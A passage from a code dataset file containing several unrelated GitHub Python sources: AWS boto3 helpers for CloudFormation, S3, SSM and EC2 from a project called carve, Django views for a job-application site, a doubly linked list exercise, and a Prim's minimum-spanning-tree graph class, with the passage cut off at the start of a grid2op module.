aws_create_stack(stackname, region, template, parameters, credentials, tags):\n\n    client = boto3.client(\n        'cloudformation',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    response = client.create_stack(\n        StackName=stackname,\n        TemplateBody=template,\n        Parameters=parameters,\n        Capabilities=['CAPABILITY_NAMED_IAM'],\n        Tags=tags\n        )\n\n    return response\n\n\ndef aws_delete_stack(stackname, region, credentials):\n\n    client = boto3.client(\n        'cloudformation',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    response = client.delete_stack(StackName=stackname)\n\n    return response\n\n\ndef aws_create_changeset(stackname, changeset_name, region, template, parameters, credentials, tags):\n    '''deploy CFN/SAM templates thru changesets'''\n    client = boto3.client(\n        'cloudformation',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    size = len(template.encode('utf-8'))\n    if size < 51000:\n        response = client.create_change_set(\n            StackName=stackname,\n            ChangeSetName=changeset_name,\n            TemplateBody=template,\n            Tags=tags,\n            Parameters=parameters,\n            Capabilities=['CAPABILITY_NAMED_IAM','CAPABILITY_AUTO_EXPAND']\n            )\n    else:\n        # put larger templates into managed S3 bucket\n        if os.environ['UniqueId'] == \"\":\n            unique = os.environ['OrgId']\n        else:\n            unique = os.environ['UniqueId']\n\n        rb = f\"{os.environ['Prefix']}carve-managed-bucket-{unique}-{region}\"\n        key = f'managed_deployment/{stackname}-changeset.json'\n        aws_put_direct(template, key, bucket=rb)\n        response = client.create_change_set(\n            StackName=stackname,\n            ChangeSetName=changeset_name,\n            TemplateURL=f\"https://s3.amazonaws.com/{rb}/{key}\",\n            Tags=tags,\n            Parameters=parameters,\n            Capabilities=['CAPABILITY_NAMED_IAM','CAPABILITY_AUTO_EXPAND']\n            )\n    return response\n\n\ndef aws_describe_change_set(changesetname, region, credentials):\n    client = boto3.client(\n        'cloudformation',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    response = client.describe_change_set(ChangeSetName=changesetname)\n    return response\n\n\ndef aws_find_stacks(startswith, account, region, credentials):\n    client = boto3.client(\n        'cloudformation',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    sfilter = [\n        'CREATE_FAILED', 'CREATE_COMPLETE', 'ROLLBACK_IN_PROGRESS',\n        'ROLLBACK_FAILED', 'ROLLBACK_COMPLETE', 'DELETE_FAILED', \n        'UPDATE_IN_PROGRESS', 'UPDATE_COMPLETE_CLEANUP_IN_PROGRESS',\n        'UPDATE_COMPLETE', 'UPDATE_ROLLBACK_IN_PROGRESS', 'UPDATE_ROLLBACK_FAILED',\n        'UPDATE_ROLLBACK_COMPLETE_CLEANUP_IN_PROGRESS', 'UPDATE_ROLLBACK_COMPLETE'\n    ]\n\n    stacks = []\n    try:\n        paginator = client.get_paginator('list_stacks')\n        for page in paginator.paginate(StackStatusFilter=sfilter):\n            for stack in page['StackSummaries']:\n                if stack['StackName'].startswith(startswith):\n                    stacks.append(stack)\n    except ClientError as e:\n        print(f\"cannot list stacks in {account} in {region}: {e}\")\n\n    return stacks\n\n\ndef aws_describe_asg(asg, region, credentials):\n    client = boto3.client(\n        'autoscaling',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n    response = client.describe_auto_scaling_groups(AutoScalingGroupNames=[asg])\n    return response\n\n\ndef aws_update_asg_size(asg, desired, region, credentials):\n    client = boto3.client(\n        'autoscaling',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n    response = client.update_auto_scaling_group(\n        AutoScalingGroupName=asg,\n        # MinSize=minsize,\n        # MaxSize=maxsize,\n        DesiredCapacity=desired\n        )\n    return response\n\n\ndef aws_newest_s3(path, bucket=os.environ['CarveS3Bucket']):\n    # return the newest file in an S3 path\n    client = boto3.client('s3', config=boto_config)\n    objs = client.list_objects_v2(Bucket=bucket, Prefix=path)\n    if objs['KeyCount'] > 0:\n        contents = objs['Contents']\n        get_last_modified = lambda obj: int(obj['LastModified'].strftime('%s'))\n        newest = [obj['Key'] for obj in sorted(contents, key=get_last_modified)][-1]\n        return newest\n    else:\n        return None\n\n\ndef aws_read_s3_direct(key):\n    # get graph from S3\n    resource = boto3.resource('s3', config=boto_config)\n    try:\n        obj = resource.Object(os.environ['CarveS3Bucket'], key)\n        return obj.get()['Body'].read().decode('utf-8')\n    except ClientError as e:\n        print(f\"error reading s3: {e}\")\n        return None\n\n\ndef aws_put_direct(data, key, bucket=os.environ['CarveS3Bucket']):\n    client = boto3.client('s3', config=boto_config)\n    try:\n        response = client.put_object(\n            Bucket=bucket,\n            Body=data,\n            Key=key)\n        return response\n    except ClientError as e:\n        print(f\"error writing to s3: {e}\")\n        return None\n\n\ndef aws_s3_list_objects(prefix='', bucket=os.environ['CarveS3Bucket']):\n    keys = []\n    client = boto3.client('s3', config=boto_config)\n    paginator = client.get_paginator('list_objects_v2')\n    for page in paginator.paginate(Bucket=bucket, Prefix=prefix):\n        for key in page['Contents']:\n            keys.append(key['Key'])\n    return(keys)\n\n\ndef aws_s3_upload(file_name, object_name=None, bucket=os.environ['CarveS3Bucket']):\n    client = boto3.client('s3', config=boto_config)\n\n    if object_name is None:\n        object_name = file_name\n    try:\n        response = client.upload_file(file_name, bucket, object_name)\n    except ClientError as e:\n        print(f\"error writing to s3: {e}\")\n        return False\n    return True\n\n\ndef aws_copy_s3_object(key, target_key, source_bucket=os.environ['CarveS3Bucket'], target_bucket=os.environ['CarveS3Bucket']):\n    resource = boto3.resource('s3', config=boto_config)\n    src = {\n        \"Bucket\": source_bucket,\n        \"Key\": key\n    }\n    bucket = resource.Bucket(target_bucket)\n    response = bucket.copy(src, target_key)\n    return response\n\ndef aws_delete_s3_object(key):\n    # delete object from S3\n    print(f\"deleting from s3: {key}\")\n    resource = boto3.resource('s3', config=boto_config)\n    response = resource.Object(os.environ['CarveS3Bucket'], key).delete()\n    print(response)\n    return response\n\ndef aws_get_carve_s3(key, file_path, bucket=None):\n    '''\n    writes file_path to the carve s3 bucket\n    '''\n    client = boto3.client('s3', config=boto_config)\n    if bucket is None:\n        bucket = os.environ['CarveS3Bucket']\n    try:\n        response = client.download_file(Bucket=bucket, Key=key, Filename=file_path)\n        return response\n    except ClientError as e:\n        print(f's3 error: {e}')\n        # logger.exception(f'Failed to write outputs/logs s3 bucket')\n\n\ndef aws_register_targets(arn, targets, region):\n    client = boto3.client('elbv2', config=boto_config, region_name=region)\n    response = client.register_targets(\n        TargetGroupArn=arn,\n        Targets=targets\n        # [\n        #     {\n        #         'Id': '10.0.0.1',\n        #         'Port': 80,\n        #         'AvailabilityZone': 'all'\n        #     },\n        # ]\n    )\n    return response\n\n\ndef aws_states_list_executions(arn, results=100):\n    client = boto3.client('stepfunctions', config=boto_config)\n    if results < 10:\n        executions = client.list_executions(\n            stateMachineArn=arn,\n            maxResults=results\n        )['executions']\n    else:\n        paginator = client.get_paginator('list_executions')\n        executions = []\n        for page in paginator.paginate(maxResults=results, stateMachineArn=arn):\n            for e in page['executions']:\n                executions.append(e)\n    return executions\n\n\ndef aws_states_describe_execution(arn):\n    client = boto3.client('stepfunctions', config=boto_config)\n    response = client.describe_execution(executionArn=arn)\n    return response\n\n\ndef aws_create_s3_path(path):\n    if path.endswith(\"/\"):\n        s3path = path\n    else:\n        s3path = f'{path}/'\n\n    client = boto3.client('s3', config=boto_config)\n    try:\n        client.put_object(\n            Bucket=os.environ['CarveS3Bucket'],\n            Key=s3path,\n            ACL='bucket-owner-full-control'\n            )\n    except ClientError as e:\n        print(f'error creating s3 path: {e}')\n\n\ndef aws_delete_bucket_notification():\n    client = boto3.client('s3', config=boto_config)\n    try:\n        response = client.put_bucket_notification_configuration(\n          Bucket=os.environ['CarveS3Bucket'],\n          NotificationConfiguration={}\n        )\n        return response\n    except ClientError as e:\n        print(f'error creating bucket notification: {e}')\n\n\ndef aws_tag_value( tags, key ):\n    if type(tags) != list:\n        return None\n    res = map( lambda tag: tag['Value'] , filter( lambda tag: tag['Key'] == key, tags ) )\n    if len(res) == 0:\n        return None\n    else:    # tags are unique, so this is the _only_ value\n        return res[0]\n\n\n# def aws_latest_ami(region=current_region):\n#     client = boto3.client(\n#         'ec2',\n#         config=boto_config,\n#         region_name=region,\n#         )\n#     response = client.describe_images(Owners=['self'])\n#     return response['Images'][0]\n\n\ndef aws_copy_image(name, source_image, region):\n    client = boto3.client('ec2', region_name=region, config=boto_config)\n    response = client.copy_image(\n        # ClientToken='string',\n        Description='Carve AMI',\n        Encrypted=False,\n        # KmsKeyId=source_kms,\n        Name=name,\n        SourceImageId=source_image,\n        SourceRegion=current_region\n    )\n    return {\"ImageId\": response['ImageId'], \"region\": region}\n\n\ndef aws_describe_image(image, region=current_region):\n    client = boto3.client('ec2', config=boto_config, region_name=region)\n    response = client.describe_images(ImageIds=[image])\n    if len(response['Images']) > 0:\n        return response['Images'][0]\n    else:\n        return None\n\ndef aws_share_image(image, accounts, region=current_region):\n    lp = {}\n    lp['Add'] = []\n    lp['Remove'] = []\n\n    # add permission for all requested accounts\n    for a in accounts:\n        lp['Add'].append({'UserId': a})\n\n    # remove permission for any account in org not requested\n    for a in aws_discover_org_accounts():\n        if a not in accounts:\n            lp['Remove'].append({'UserId': a})\n\n    print(f'AMI LaunchPermission: {lp}')\n\n    client = boto3.client('ec2', config=boto_config, region_name=region)\n    response = client.modify_image_attribute(\n        ImageId=image,\n        LaunchPermission=lp\n        )\n    return response\n\n\n\ndef aws_ssm_put_parameter(parameter, value, region=current_region, param_type='String'):\n    client = boto3.client('ssm', config=boto_config, region_name=region)\n    # if \"/\" not in parameter:\n    #     param = f\"{os.environ['Prefix']}carve-resources/\"\n    response = client.put_parameter(\n        Name=parameter,\n        Description='Carve managed config data',\n        Type=param_type,\n        Value=value,\n        Overwrite=True,\n    )\n    return response\n\n\ndef aws_ssm_get_parameter(parameter, region=current_region):\n    client = boto3.client('ssm', config=boto_config, region_name=region)\n    try:\n        response = client.get_parameter(Name=parameter, WithDecryption=True)\n        value = response['Parameter']['Value']\n    except ClientError as e:\n        print(f\"Error getting paramter {parameter}: {e}\")\n        value = None\n    return value\n\n\ndef aws_ssm_get_parameters(path):\n    # return parameters from a path as a dict \n    client = boto3.client('ssm', config=boto_config)\n    params = {}\n    try:\n        paginator = client.get_paginator('get_parameters_by_path')\n        for page in paginator.paginate(Path=path, Recursive=True, WithDecryption=True):\n            for param in page['Parameters']:\n                name = param['Name'].split('/')[-1]\n                params[name] = param['Value']\n    except ClientError as e:\n        pass\n    return params\n\ndef aws_ssm_delete_parameter(path):\n    client = boto3.client('ssm', config=boto_config)\n    try:\n        response = client.delete_parameter(Name=path)\n    except ClientError:\n        pass\n\n\ndef aws_invoke_lambda(arn, payload, credentials=None):\n    if credentials is None:\n        client = boto3.client(\n            'lambda',\n            config=boto_config,\n            region_name=arn.split(':')[3],\n            )\n    else:\n        client = boto3.client(\n            'lambda',\n            config=boto_config,\n            region_name=arn.split(':')[3],\n            aws_access_key_id = credentials['AccessKeyId'],\n            aws_secret_access_key = credentials['SecretAccessKey'],\n            aws_session_token = credentials['SessionToken']\n            )\n    response = client.invoke(\n        FunctionName=arn,\n        Payload=json.dumps(payload)\n        )\n    data = json.loads(response['Payload'].read().decode('utf-8'))\n    return data\n\n\ndef schedule_cron(minutes):\n    # return cron fields for a schedule for a self-invocation in 'minutes'\n    now = datetime.datetime.now()\n    m = now + datetime.timedelta(minutes = minutes)\n    cron = f\"({m.minute} {m.hour} {m.day} {m.month} ? {m.year})\"\n    return cron\n\n\n# def aws_schedule_invoke(name, minutes, payload, context):\n#     client = boto3.client('events', config=boto_config)\n#     response = client.put_rule(\n#         Name=name,\n#         ScheduleExpression=schedule_cron(minutes),\n#         Description='scheduled event for carve',\n#         RoleArn=f\"{os.environ['Prefix']}carve-core\",\n#     )\n#     # rule_arn = response['RuleArn']\n#     response = client.put_targets(\n#         Rule=name,\n#         Description='scheduled event for carve',\n#         RoleArn=f\"{os.environ['Prefix']}carve-core\",\n#         Targets=[{\n#             'Id': 'carve-lambda',\n#             'Arn': context.invoked_function_arn,\n#             'Input': json.dumps(payload)            \n#         }]\n#     )\n\n\ndef aws_delete_rule(name):\n    client = boto3.client('events', config=boto_config)\n    response = client.delete_rule(Name=name)\n    return response\n\n\ndef aws_update_tags(resource: str, tags: dict):\n    # return all images created by carve in a region\n    client = boto3.client('ec2', config=boto_config, region_name=current_region)\n    response = client.create_tags(Resources=[resource], Tags=tags)\n    return response\n\n\ndef aws_describe_all_carve_images(region):\n    # return all images created by carve in a region\n    client = boto3.client('ec2', config=boto_config, region_name=region)\n    response = client.describe_images(\n        Filters=[\n            {\n                'Name': 'tag-key',\n                'Values': ['carve-image-version']\n            }\n        ])\n    return response\n\n\ndef aws_deregister_image(image, region):\n    client = boto3.resource('ec2', config=boto_config, region_name=region)\n    response = client.deregister_image(ImageId=image)\n\n\ndef aws_delete_snapshot(snapshot, region):\n    client = boto3.resource('ec2', config=boto_config, region_name=region)\n    response = client.delete_snapshot(SnapshotId=snapshot)\n\n\n# def aws_invoke_self(arn, payload):\n#     client = boto3.client('lambda', config=boto_config)\n#     response = client.invoke(\n#         FunctionName=arn,\n#         Payload=json.dumps(payload)\n#         )\n#     data = response['Payload'].read()\n#     return data\n\n# def aws_empty_bucket():\n#     bucket = os.environ['CarveS3Bucket']\n#     client = boto3.client('s3', config=boto_config)\n#     paginator = client.get_paginator('list_object_versions')\n\n#     delete_list = []\n#     for response in paginator.paginate(Bucket=bucket):\n#         if 'DeleteMarkers' in response:\n#             for mark in response['DeleteMarkers']:\n#                 delete_list.append({'Key': mark['Key'], 'VersionId': mark['VersionId']})\n\n#         if 'Versions' in response:\n#             for version in response['Versions']:\n#                 delete_list.append({'Key': version['Key'], 'VersionId': version['VersionId']})\n\n#     for i in range(0, len(delete_list), 1000):\n#         response = client.delete_objects(\n#             Bucket=bucket,\n#             Delete={\n#                 'Objects': delete_list[i:i+1000],\n#                 'Quiet': True\n#             }\n#         )\n#         print(f\"purged s3 bucket: {bucket}\")\n\ndef aws_describe_peers(region, credentials):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    paginator = client.get_paginator('describe_vpc_peering_connections')\n    pcxs = []\n    for page in paginator.paginate():\n        for pcx in page['VpcPeeringConnections']:\n            pcxs.append(pcx)\n    return pcxs\n\n\ndef aws_describe_availability_zones(region):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region\n        )\n    response = client.describe_availability_zones()\n    return response\n\n\ndef aws_describe_subnets(region, account_id, credentials, subnet_id=None):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n    try:\n        paginator = client.get_paginator('describe_subnets')\n\n        if subnet_id is None:\n            pages = paginator.paginate()\n        else:\n            pages = paginator.paginate(SubnetIds=[subnet_id])\n\n        subnets = []\n        for page in pages:\n            for subnet in page['Subnets']:\n                subnets.append(subnet)\n        return subnets\n\n    except ClientError as e:\n        print(f\"error descibing subnets in {region} in {account_id}: {e}\")\n        return []\n\n\ndef aws_active_region(region, credentials, account_id):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n    try:\n        client.describe_subnets()\n        return True\n    except ClientError as e:\n        return False\n\n\n\ndef aws_describe_vpcs(region, credentials, account_id):\n    client = boto3.client(\n        'ec2',\n        config=boto_config,\n        region_name=region,\n        aws_access_key_id = credentials['AccessKeyId'],\n        aws_secret_access_key = credentials['SecretAccessKey'],\n        aws_session_token = credentials['SessionToken']\n        )\n\n    vpcs = []\n    try:\n        paginator = client.get_paginator('describe_vpcs')\n        vpcs = []\n        for page in paginator.paginate():\n            for vpc in page['Vpcs']:\n                vpcs.append(vpc)\n    except ClientError as e:\n        print(f\"error descibing subnets in {region} in {account_id}: {e}\")\n        vpcs = []\n    return vpcs\n\n\ndef aws_purge_s3_bucket(bucket=os.environ['CarveS3Bucket']):\n    client = boto3.resource('s3', config=boto_config)\n    print(f\"purging bucket: {bucket}\") \n    bucket = client.Bucket(bucket)\n    try:\n        bucket.objects.all().delete()\n    except ClientError as e:\n        print(f'error purging bucket {bucket}: {e}')\n\ndef aws_purge_s3_path(path):\n    client = boto3.resource('s3', config=boto_config)\n    bucket = client.Bucket(os.environ['CarveS3Bucket'])\n    bucket.objects.filter(Prefix=path).delete()\n\n\ndef aws_list_s3_path(path, max_keys=1):\n    client = boto3.client(\"s3\")\n    response = client.list_objects_v2(\n            Bucket=os.environ['CarveS3Bucket'],\n            Prefix=path,\n            MaxKeys=max_keys)\n    return response\n\ndef aws_put_bucket_policy(bucket, function_arn):\n    client = boto3.client('s3', config=boto_config)\n    try:\n        response = client.put_bucket_policy(\n            Bucket=os.environ['CarveS3Bucket'],\n            Policy='policy'\n        )\n        return response\n    except ClientError as e:\n        print(f'error putting bucket policy: {e}')\n\n\n\ndef aws_get_bucket_policy(bucket):\n    s3_resource = boto3.resource('s3', config=boto_config)\n    try:\n        policy = s3_resource.BucketPolicy(bucket)\n        return policy\n    except ClientError as e:\n        print(f'error getting bucket policy for {bucket}: {e}')\n\n\ndef aws_put_bucket_notification(path, function_arn, notification_id=\"CarveDeploy\"):\n    client = boto3.client('s3', config=boto_config)\n    try:\n        response = client.put_bucket_notification_configuration(\n          Bucket=os.environ['CarveS3Bucket'],\n          NotificationConfiguration={\n            'LambdaFunctionConfigurations': [\n              {\n                'Id': notification_id,\n                'LambdaFunctionArn': function_arn,\n                'Events': [\n                  's3:ObjectCreated:*'\n                ],\n                'Filter': {\n                  'Key': {\n                    'FilterRules': [\n                      {\n                        'Name': 'prefix',\n                        'Value': path\n                      },\n                      {\n                        'Name': 'suffix',\n                        'Value': '.json'\n                      }\n                    ]\n                  }\n                }\n              }\n            ]\n          }\n        )\n        return response\n    except ClientError as e:\n        raise e\n\n\ndef aws_upload_file_s3(key, file_path):\n    '''\n    writes file_path to the carve s3 bucket\n    '''\n    client = boto3.client('s3', config=boto_config)\n\n    try:\n        # print(f\"bucket = {os.environ['CarveS3Bucket']}\")\n        # print(f\"file_path = {file_path}\")\n        # print(f\"key = {key}\")\n        response = client.upload_file(\n            Filename=file_path,\n            Bucket=os.environ['CarveS3Bucket'],\n            Key=key,\n            ExtraArgs={'ACL': 'bucket-owner-full-control'}\n            )\n        return response\n    except ClientError as e:\n        print(f's3 error: {e}')\n        # logger.exception(f'Failed to write outputs/logs s3 bucket')\n\n\n\n# if __name__ == '__main__':\n#     main()","repo_name":"SPSCommerce/carve","sub_path":"src/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":38965,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"70347496647","text":"from django.shortcuts import render,redirect\n# from django.http import HttpResponse\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login\nfrom .models import*\nfrom .forms import*\nfrom datetime import date\n\n# Create your views here.\ndef home(request):\n    return render(request, 'index.html')\n\n\ndef user_login(request):\n    if request.method== 'POST':\n        username = request.POST['username']\n        password = request.POST['password']\n        user = authenticate(request, username=username, password=password)\n        if user:\n            login(request,user)\n            messages.success(request, 'you are now signed in')\n            return redirect('user_homepage')\n        else:\n            messages.info(request, 'username/password is not correct')\n            return redirect('user_login')\n        \n    return render(request,'user_login.html')\n\n            \n\ndef signup(request):\n    customer = CustomerForm()\n    if request.method == 'POST':\n        contact_number = request.POST['contact_number']    \n        gender = request.POST['gender'] \n        # male = request.POST['male']   \n        # female = request.POST['female']   \n        profile_picture = request.POST['profile_picture'] \n        customer = CustomerForm(request.POST)\n        if customer.is_valid():\n            user = customer.save()\n            newuser = Applicant()   \n            newuser.user = user \n            newuser.username =user.username                        \n            newuser.first_name =user.first_name                         \n            newuser.last_name =user.last_name  \n            newuser.email =user.email   \n            newuser.contact_number =contact_number \n            # newuser.male =male\n            # newuser.female =female\n            newuser.profile_picture = profile_picture\n            newuser.save() \n            messages.success(request,f'dear {user} your account is created successfully')\n            return redirect('home')\n        else:\n            messages.error(request, customer.errors)\n            return redirect('signup')\n    \n    return render(request, 'signup.html') \n\n\ndef user_homepage(request):\n    if request.method== 'POST':\n        applicant = Applicant.objects.get(user=request.user)\n        email = request.POST['email']\n        first_name = request.POST['first_name']\n        last_name = request.POST['last_name']\n        phone = request.POST['phone']\n        # gender = request.POST['gender']\n        \n        applicant.user.email =email\n        applicant.user.first_name= first_name\n        applicant.user.last_name = last_name\n        applicant.user.phone = phone\n        # applicant.user.gender =gender\n        applicant.save()\n        applicant.user.save()\n\n        try:\n            image= request.FILE['image']\n            applicant.image = image\n            applicant.save()\n        except:\n            pass\n        alert =True\n\n    return render (request, 'user_homepage.html')\n       \n    # return render(request, 'user_homepage.html')   \n\n\ndef all_jobs(request):\n    jobs = Job.objects.all().order_by ('start_date')\n    # applicant = Applicant.objects.get(user=request.user)\n    # apply = Application.objects.filter(applicant=applicant)\n    # data = ['']\n\n    # for i in apply:\n    #     data.append(i.job.id)\n\n\n    return render(request,'all_jobs.html', {'jobs':jobs})\n    # return render(request,'all_jobs.html', {'jobs':jobs, 'apply':apply})\n\n\ndef job_detail(request,id):\n    job = Job.objects.get(pk=id)\n\n    context = {\n        'job':job,\n       \n    }\n    return render(request,'job_detail.html', context)\n\n\ndef job_apply(request, myid):\n    applicant = Applicant.objects.get(user=request.user)\n    job = Job.objects.get(id= myid)\n    date1 = date.today()\n\n    if job.end_date < date1:\n        closed =True\n\n        return render (request, 'job_apply.html',{'closed':closed})\n    \n    elif job.start_date > date1:\n        notopen =True\n        return render (request, 'job_apply.html',{'notopen':notopen})\n        \n\n    else:\n        if request.method =='POST':\n            resume = request.FILES['resume'] \n            Application.objects.create(job=job,company =job.company,applicant =applicant, resume=resume,apply_date=date.today())\n            alert = True\n            return render(request, 'job_apply.html', {'alert':alert})\n            \n    return render(request, 'job_apply.html', {'job':job})\n\n        \n\n\n\n\n\n","repo_name":"ikeali/myfirst","sub_path":"team/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5251455849","text":"\nclass Node:\n    def __init__(self,data):\n        self.data=data\n        self.next=None\n        self.prev=None\n\nclass linklist:\n    def __init__(self):\n        self.head=None\n    \n    def push(self,data):\n        a=Node(data)\n        a.next=self.head\n        if self.head is not None:\n            self.head.prev=a\n        self.head=a\n\n    def printlist(self):\n        a=self.head\n        while a is not None:\n            print(a.data,end=\"->\")\n            a=a.next\n\np=linklist()\n\nn=int(input(\"Enter your number of nodes:-\"))\n\nfor i in range(0,n):\n    q=int(input())\n    p.push(q)\n\np.printlist()\n","repo_name":"jeet004a/DSA-Practice-23","sub_path":"DSA/Doubly Linkedlist.py","file_name":"Doubly Linkedlist.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18856461533","text":"import graf_mst\r\nclass Vertex:\r\n    def __init__(self,key, color=0) -> None:\r\n        self.key = key\r\n        self.color = color\r\n    def __eq__(self,other):\r\n        return self.key == other.key\r\n    def __hash__(self):\r\n        return hash(self.key)\r\n    def __repr__(self):\r\n        return str(self.key)\r\n\r\n\r\nclass AdjacencyList:\r\n    def __init__(self) -> None:\r\n        self.sizee = 0\r\n        self.neighbour_lst = []\r\n        self.vertices = []\r\n\r\n    def isEmpty(self):\r\n        return self.sizee == 0\r\n    \r\n    def insertVertex(self, vertex: Vertex):\r\n        if vertex not in self.vertices:\r\n            self.vertices.append(vertex)\r\n            self.neighbour_lst.append([])\r\n    \r\n    def insertEdge(self, vertex1, vertex2, edge):\r\n        if vertex1 in self.vertices and vertex2 in self.vertices:\r\n            idx1 = self.getVertexIdx(vertex1)\r\n            idx2 = self.getVertexIdx(vertex2)\r\n            self.neighbour_lst[idx1].append((idx2, edge))\r\n            self.neighbour_lst[idx2].append((idx1, edge))\r\n            self.sizee += 1\r\n\r\n\r\n    def deleteVertex(self,vertex):\r\n        idx = self.getVertexIdx(vertex)\r\n        self.vertices.remove(vertex)\r\n        del self.neighbour_lst[idx]\r\n        for i in self.neighbour_lst:\r\n            if idx in i:\r\n                i.remove(idx)\r\n    \r\n    def deleteEdge(self,vertex1,vertex2):\r\n        idx1 = self.getVertexIdx(vertex1)\r\n        idx2 = self.getVertexIdx(vertex2)\r\n        edge = self.getEdge(vertex1,vertex2)\r\n        self.neighbour_lst[idx1].remove((idx2,edge))\r\n        self.neighbour_lst[idx2].remove((idx1,edge))\r\n        self.sizee -= 1\r\n\r\n    def getVertexColor(self,vertex):\r\n        return vertex.color\r\n\r\n    def setVertexColor(self,vertex,color):\r\n        vertex.color = color\r\n\r\n    def getEdge(self, vertex1, vertex2):\r\n        if vertex1 and vertex2 in self.vertices:\r\n            idx1 = self.getVertexIdx(vertex1)\r\n            idx2 = self.getVertexIdx(vertex2)\r\n            for edge in self.neighbour_lst[idx1]:\r\n                if edge[0] == idx2:\r\n                    return edge[1]\r\n            return None\r\n\r\n    def getVertexIdx(self,vertex):\r\n        return self.vertices.index(vertex)\r\n\r\n    def getVertex(self,vertex_idx):\r\n        return self.vertices[vertex_idx]\r\n    \r\n    def neighbours(self,vertex_idx):\r\n        return self.neighbour_lst[vertex_idx]\r\n\r\n    def order(self):\r\n        return len(self.vertices)\r\n    \r\n    def size(self):\r\n        return len(self.vertices)\r\n\r\n    def prim_mst(self,v):\r\n        MST = AdjacencyList()\r\n        for i in self.vertices:\r\n            MST.insertVertex(i)\r\n        size = len(self.vertices)\r\n        intree = [0] * size\r\n        distance = [float('inf')] * size\r\n        parent = [-1] * size\r\n        v = self.getVertexIdx(v)\r\n        while intree[v] == 0:\r\n            intree[v] = 1\r\n            neighborhood = self.neighbours(v)\r\n            for i in neighborhood:\r\n                if intree[i[0]] == 0 and i[1] < distance[i[0]]:\r\n                    distance[i[0]] = i[1]\r\n                    parent[i[0]] = v\r\n            \r\n            minimal = float('inf')\r\n            for vertex in range(size):\r\n                if intree[vertex] == 0 and distance[vertex] < minimal:\r\n                    minimal = distance[vertex]\r\n                    next_vertex = vertex\r\n            if minimal != float('inf'):\r\n                MST.insertEdge(self.vertices[parent[next_vertex]],self.vertices[next_vertex],minimal)\r\n            v = next_vertex\r\n        total_weight = 0\r\n        for i in distance:\r\n            if i != float('inf'):\r\n                total_weight += i\r\n        return MST, total_weight\r\n\r\ndef printGraph(g):\r\n    n = g.order()\r\n    print(\"------GRAPH------\",n)\r\n    for i in range(n):\r\n        v = g.getVertex(i)\r\n        print(v, end = \" -> \")\r\n        nbrs = g.neighbours(i)\r\n        for (j, w) in nbrs:\r\n            print(g.getVertex(j), w, end=\";\")\r\n        print()\r\n    print(\"-------------------\")\r\n\r\ndef main():\r\n    graph = AdjacencyList()\r\n    graph_c = graf_mst.graf\r\n\r\n    for el in graph_c:\r\n        graph.insertVertex(Vertex(el[0]))\r\n        graph.insertVertex(Vertex(el[1]))\r\n        graph.insertEdge(Vertex(el[0]),Vertex(el[1]),el[2])\r\n\r\n    mst, total_weight = graph.prim_mst(Vertex('G'))\r\n    printGraph(mst)\r\nmain()","repo_name":"KaczMac/Studies","sub_path":"ASD/09.py","file_name":"09.py","file_ext":"py","file_size_in_byte":4286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32444248808","text":"from collections import OrderedDict\nimport numpy as np\nimport copy\n\nfrom grid2op.dtypes import dt_int, dt_bool, dt_float\nfrom grid2op.gym_compat.utils import check_gym_version, sample_seed\nfrom grid2op.gym_compat.utils import GYM_AVAILABLE, GYMNASIUM_AVAILABLE\n\n\nclass __AuxBaseGymSpaceConverter:\n    \"\"\"\n    INTERNAL\n\n    .. warning:: /!\\\\\\\\ Internal, do not use unless you know what you are doing /!\\\\\\\\\n        Used as a base class to convert grid2op state to gym state (wrapper for some useful function\n        for both the action space and the observation space).\n\n    .. warning::\n        Depending on the presence absence of gymnasium and gym packages this class might behave differently.\n        \n        In grid2op we tried to maintain compatibility both with gymnasium (newest) and gym (legacy, \n        no more maintained) RL packages. The behaviour is the following:\n        \n        - :class:`_BaseGymSpaceConverter` will inherit from gymnasium if it's installed \n          (in this case it will be :class:`_BaseGymnasiumSpaceConverter`), otherwise it will\n          inherit from gym (and will be exactly :class:`_BaseLegacyGymSpaceConverter`)\n        - :class:`_BaseGymnasiumSpaceConverter` will inherit 